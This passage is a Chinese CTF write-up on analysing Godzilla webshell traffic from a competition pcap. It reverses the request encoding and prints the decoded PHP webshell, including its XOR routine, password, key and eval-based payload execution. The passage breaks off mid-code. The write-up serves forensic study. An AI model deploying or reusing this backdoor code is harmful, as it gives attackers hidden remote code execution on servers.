2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析
2025年北京市职工职业技能大赛第六届信息通信行业网络安全技能大赛复赛CTF部分WP-哥斯拉流量分析
一、流量分析
题目没有任何提示,附件gzl.pcap
解题哥斯拉流量300多KB包很多,没啥经验只能挨个看回来之后又狠狠得撸了一把哥斯拉流量分析我这里用的是哥斯拉4.0.1
测试链接这里发了两个包,我们进行分析
1、第一个请求包
哥斯拉将payload进行了base64编码,并且将编码后的内容做了字符串反转,我们echo进行还原
<?php
// 安全增强设置
@session_start(); // 启动会话存储(用于保存Payload)
@set_time_limit(0); // 取消脚本执行时间限制
@error_reporting(0); // 禁用错误报告(避免泄露信息)/*** 核心加密/解密函数(使用XOR算法)* @param string $D 待处理数据* @param string $K 16字节密钥* @return string 处理后的数据*/
function encode($D, $K) {for ($i = 0; $i < strlen($D); $i++) {$c = $K[$i + 1 & 15]; // 循环使用密钥字符(i+1 mod 16)$D[$i] = $D[$i] ^ $c; // 逐字节异或操作}return $D;
}// 配置参数
$pass = 'thisiskey'; // 通信密码(POST参数名)
$payloadName = 'payload'; // 会话中存储的Payload名称
$key = '144a6b2296333602'; // 16字节异或密钥(与客户端一致)// 主逻辑:处理客户端请求
if (isset($_POST[$pass])) {// 1. 解码客户端发送的数据$data = encode(base64_decode($_POST[$pass]), $key);// 2. 检查是否已加载Payloadif (isset($_SESSION[$payloadName])) {// 2.1 获取已存储的Payload并解密$payload = encode($_SESSION[$payloadName], $key);// 2.2 特殊处理:如果不是初始Payload(包含getBasicsInfo),需要二次解密if (strpos($payload, "getBasicsInfo") === false) {$payload = encode($payload, $key);}// 2.3 执行Payload(通常是PHP后门核心代码)eval($payload);// 2.4 生成响应包:前缀+加密结果+后缀echo substr(md5($pass.$key), 0, 16); // 前缀:MD5前16字节echo base64_encode(encode(@run($data), $key)); // 加密响应数据echo substr(md5($pass.$key